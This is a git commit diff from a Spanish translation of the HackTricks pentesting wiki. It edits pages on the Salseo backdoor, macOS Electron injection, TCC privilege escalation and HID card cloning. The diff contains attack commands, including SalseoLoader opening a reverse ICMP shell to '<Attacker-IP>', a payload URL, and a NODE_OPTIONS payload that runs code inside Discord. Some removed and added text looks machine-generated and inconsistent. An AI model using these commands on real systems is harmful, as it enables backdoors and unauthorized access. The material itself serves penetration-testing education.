Translated ['backdoors/salseo.md', 'macos-hardening/macos-security-and-p

This commit is contained in:
Translator 2023-06-13 10:21:10 +00:00
parent b37130ab35
commit 9d9ca6414b
8 changed files with 39 additions and 77 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 220 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 220 KiB

After

Width:  |  Height:  |  Size: 160 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 114 KiB

After

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 160 KiB

After

Width:  |  Height:  |  Size: 114 KiB

View File

@ -39,41 +39,7 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
```
### Windows
### Introducción
En este capítulo, discutiremos los backdoors en sistemas operativos Windows. Un backdoor es una puerta trasera que permite a un atacante acceder a un sistema sin ser detectado. Los backdoors pueden ser instalados en un sistema de varias maneras, incluyendo la explotación de vulnerabilidades en el sistema operativo o en una aplicación instalada en el sistema.
### Tipos de backdoors
Hay varios tipos de backdoors que se pueden instalar en un sistema Windows. Algunos de los más comunes incluyen:
- Backdoors de puerta trasera: Estos backdoors se instalan en el sistema y permiten al atacante acceder al sistema sin ser detectado. Estos backdoors pueden ser instalados por un atacante que tenga acceso físico al sistema o por un atacante que haya explotado una vulnerabilidad en el sistema.
- Backdoors de shell inverso: Estos backdoors permiten al atacante conectarse al sistema y ejecutar comandos en el sistema. Estos backdoors son especialmente útiles para los atacantes que quieren mantener el acceso al sistema después de que se haya cerrado la sesión.
- Backdoors de servidor web: Estos backdoors se instalan en un servidor web y permiten al atacante acceder al sistema a través del servidor web. Estos backdoors son especialmente útiles para los atacantes que quieren acceder a sistemas que están detrás de un firewall.
### Instalación de backdoors
La instalación de backdoors en un sistema Windows puede ser un proceso complicado. Los atacantes pueden utilizar varias técnicas para instalar backdoors en un sistema, incluyendo la explotación de vulnerabilidades en el sistema operativo o en una aplicación instalada en el sistema.
Una vez que se ha instalado un backdoor en un sistema, el atacante puede utilizar el backdoor para acceder al sistema y ejecutar comandos en el sistema. Los atacantes pueden utilizar los backdoors para robar información del sistema, instalar malware en el sistema o para mantener el acceso al sistema después de que se haya cerrado la sesión.
### Detección de backdoors
La detección de backdoors en un sistema Windows puede ser un proceso complicado. Los atacantes pueden utilizar varias técnicas para ocultar los backdoors en un sistema, incluyendo la encriptación de los backdoors y la utilización de técnicas de ofuscación.
Sin embargo, hay varias herramientas que se pueden utilizar para detectar backdoors en un sistema Windows. Algunas de estas herramientas incluyen:
- Herramientas de análisis de tráfico de red: Estas herramientas pueden utilizarse para detectar tráfico de red sospechoso que pueda estar relacionado con un backdoor.
- Herramientas de análisis de archivos: Estas herramientas pueden utilizarse para detectar archivos sospechosos que puedan estar relacionados con un backdoor.
- Herramientas de análisis de registro: Estas herramientas pueden utilizarse para detectar entradas de registro sospechosas que puedan estar relacionadas con un backdoor.
### Conclusiones
Los backdoors son una amenaza seria para los sistemas operativos Windows. Los atacantes pueden utilizar varios tipos de backdoors para acceder a un sistema y ejecutar comandos en el sistema. La detección de backdoors puede ser un proceso complicado, pero hay varias herramientas que se pueden utilizar para detectar backdoors en un sistema Windows.
Windows
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
@ -115,7 +81,7 @@ python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
```
## Compilando SalseoLoader como DLL exportando la función principal
## Compilando SalseoLoader como DLL exportando función principal
Abre el proyecto SalseoLoader usando Visual Studio.
@ -125,7 +91,7 @@ Abre el proyecto SalseoLoader usando Visual Studio.
### Instala DllExport para este proyecto
#### **Herramientas** --> **Administrador de paquetes NuGet** --> **Administrar paquetes NuGet para la solución...**
#### **Herramientas** --> **Gestor de paquetes NuGet** --> **Administrar paquetes NuGet para la solución...**
![](<../.gitbook/assets/image (3) (1) (1) (1).png>)
@ -151,11 +117,11 @@ Selecciona **x64** (si lo vas a usar dentro de una caja x64, ese fue mi caso), s
![](<../.gitbook/assets/image (7) (1) (1) (1).png>)
### **Abre el proyecto nuevamente con Visual Studio**
### **Abre el proyecto de nuevo con Visual Studio**
**\[DllExport]** ya no debería estar marcado como error
![](<../.gitbook/assets/image (8) (1) (1).png>)
![](<../.gitbook/assets/image (8) (1).png>)
### Compila la solución
@ -194,7 +160,7 @@ rundll32.exe SalseoLoader.dll,main
```
### CMD
CMD (Command Prompt) es una herramienta de línea de comandos en sistemas operativos Windows que permite a los usuarios interactuar con el sistema operativo mediante comandos. Los comandos CMD pueden ser utilizados para realizar diversas tareas, como la gestión de archivos y directorios, la configuración de redes y la ejecución de programas. Los hackers pueden utilizar CMD para ejecutar comandos maliciosos y crear backdoors en sistemas Windows comprometidos.
CMD (Command Prompt) es una herramienta de línea de comandos en sistemas operativos Windows que permite a los usuarios interactuar con el sistema operativo mediante comandos. Los comandos CMD pueden ser utilizados para realizar diversas tareas, como la gestión de archivos y directorios, la configuración de redes, la ejecución de programas y la solución de problemas de sistema. Los hackers pueden utilizar CMD para ejecutar comandos maliciosos y crear backdoors en sistemas comprometidos.
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt

View File

@ -12,14 +12,30 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
{% endcode %}
{% hint style="danger" %}
Ten en cuenta que ahora la mayoría de las aplicaciones de Electron ignorarán los parámetros de node (como --inspect) cuando se lanzan a menos que se establezca la variable de entorno **`ELECTRON_RUN_AS_NODE`**.
Tenga en cuenta que ahora las aplicaciones de Electron **fortificadas** ignorarán los parámetros de nodo (como --inspect) cuando se inicien a menos que la variable de entorno **`ELECTRON_RUN_AS_NODE`** esté establecida.
Sin embargo, aún puedes usar el parámetro de electron `--remote-debugging-port=9229`, pero la carga útil anterior no funcionará para ejecutar otros procesos.
Sin embargo, aún podría usar el parámetro de electron `--remote-debugging-port=9229`, pero la carga útil anterior no funcionará para ejecutar otros procesos.
{% endhint %}
## `NODE_OPTIONS`
{% hint style="warning" %}
Esta variable de entorno solo funcionaría si la aplicación de Electron no ha sido fortificada adecuadamente y lo permite. Si está fortificada, también deberá usar la **variable de entorno `ELECTRON_RUN_AS_NODE`**.
{% endhint %}
Con esta combinación, podría almacenar la carga útil en un archivo diferente y ejecutar ese archivo:
{% code overflow="wrap" %}
```bash
# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Ca$
# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
```
## `ELECTRON_RUN_AS_NODE` <a href="#electron_run_as_node" id="electron_run_as_node"></a>
Según [**la documentación**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node), si se establece esta variable de entorno, iniciará el proceso como un proceso Node.js normal.
Según [**la documentación**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node), si esta variable de entorno está establecida, iniciará el proceso como un proceso normal de Node.js.
{% code overflow="wrap" %}
```bash
@ -54,20 +70,6 @@ Como se [propone aquí](https://www.trustedsec.com/blog/macos-injection-via-thir
</dict>
</plist>
```
### `ELECTRON_RUN_AS_NODE` y `NODE_OPTIONS` &#x20;
Con esta combinación se puede almacenar el payload en un archivo diferente y ejecutar ese archivo:
{% code overflow="wrap" %}
```bash
# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Ca$
# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
```
{% endcode %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
@ -75,7 +77,7 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -26,7 +26,7 @@ También es posible **conceder acceso a las aplicaciones** a archivos mediante *
Hay un **tccd de modo de usuario** ejecutándose por usuario registrado en `/System/Library/LaunchAgents/com.apple.tccd.plist` registrando los servicios mach `com.apple.tccd` y `com.apple.usernotifications.delegate.com.apple.tccd`.
Los permisos son **heredados del padre** de la aplicación y los **permisos** son **rastreados** en función del **ID de paquete** y el **ID de desarrollador**.
Los permisos son **heredados del padre** de la aplicación y los **permisos** son **rastreados** en función del **ID de paquete** y del **ID de desarrollador**.
### Base de datos de TCC
@ -45,16 +45,11 @@ com.apple.rootless.storage.TCC
Sin embargo, los usuarios pueden **eliminar o consultar reglas** con la utilidad de línea de comandos **`tccutil`**.
{% endtab %}
{% tab title="kernel DB" %}
Sin embargo, los usuarios pueden **eliminar o consultar reglas** con la utilidad de línea de comandos **`tccutil`**.
{% endtab %}
{% endtabs %}
{% hint style="info" %}
Note that the **`tccutil`** utility requires **root privileges** to modify the TCC database.
{% endhint %}
{% hint style="warning" %}
**Leak** of TCC database can lead to **privilege escalation**.
The TCC database is stored in **`/Library/Application Support/com.apple.TCC/TCC.db`**.
{% endhint %}
```bash
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db
@ -109,10 +104,9 @@ La escalada de privilegios de TCC se puede lograr de varias maneras, incluyendo:
Para protegerse contra la escalada de privilegios de TCC, se recomienda lo siguiente:
- Mantener el sistema operativo y las aplicaciones actualizadas con las últimas correcciones de seguridad.
- No otorgar permiso a una aplicación para acceder a un servicio o dato controlado por TCC a menos que sea absolutamente necesario.
- No descargar ni instalar aplicaciones de fuentes no confiables.
- Utilizar una solución de seguridad de confianza que pueda detectar y bloquear aplicaciones maliciosas.
- Monitorear la base de datos TCC en busca de entradas sospechosas o no autorizadas.
- No otorgar permiso a aplicaciones desconocidas o sospechosas para acceder a servicios o datos controlados por TCC.
- No descargar aplicaciones de fuentes no confiables.
- Utilizar una solución de seguridad de confianza que pueda detectar y bloquear aplicaciones maliciosas que intenten acceder a servicios o datos controlados por TCC.
```bash
sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
@ -326,7 +320,7 @@ do shell script "rm " & POSIX path of (copyFile as alias)
Si logras **inyectar código en un proceso**, podrás abusar de los permisos de TCC de ese proceso.
Verifica las técnicas de abuso de proceso en la siguiente página:
Consulta las técnicas de abuso de proceso en la siguiente página:
{% content-ref url="../../macos-proces-abuse/" %}
[macos-proces-abuse](../../macos-proces-abuse/)
@ -336,7 +330,7 @@ Mira algunos ejemplos en las siguientes secciones:
### CVE-2020-29621 - Coreaudiod
El binario **`/usr/sbin/coreaudiod`** tenía los permisos `com.apple.security.cs.disable-library-validation` y `com.apple.private.tcc.manager`. El primero **permite la inyección de código** y el segundo le da acceso a **administrar TCC**.
El binario **`/usr/sbin/coreaudiod`** tenía los permisos `com.apple.security.cs.disable-library-validation` y `com.apple.private.tcc.manager`. El primero **permite la inyección de código** y el segundo le da acceso para **administrar TCC**.
Este binario permitía cargar **plug-ins de terceros** desde la carpeta `/Library/Audio/Plug-Ins/HAL`. Por lo tanto, era posible **cargar un plugin y abusar de los permisos de TCC** con este PoC:
```objectivec
@ -402,7 +396,7 @@ $> ls ~/Documents
Notas tenía acceso a ubicaciones protegidas por TCC, pero cuando se crea una nota, esta se **crea en una ubicación no protegida**. Por lo tanto, se podría pedir a Notas que copie un archivo protegido en una nota (en una ubicación no protegida) y luego acceder al archivo:
<figure><img src="../../../../.gitbook/assets/image (8).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure>
### CVE-2023-26818 - Telegram

View File

@ -7,8 +7,8 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PR a los repositorios** [**hacktricks**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Comparte tus trucos de hacking enviando PR a** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -51,7 +51,7 @@ Los otros 2 pueden ser forzados si no se pueden leer de la tarjeta.
Lo mismo sucede en esta tarjeta HID donde solo se pueden encontrar impresos 2 de los 3 bytes.
<figure><img src="../../../.gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (15) (3).png" alt=""><figcaption></figcaption></figure>
### Emular/Escribir
@ -68,7 +68,7 @@ Después de **copiar** una tarjeta o **ingresar** el ID **manualmente**, es posi
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PR a los repositorios** [**hacktricks**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Comparte tus trucos de hacking enviando PR a** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>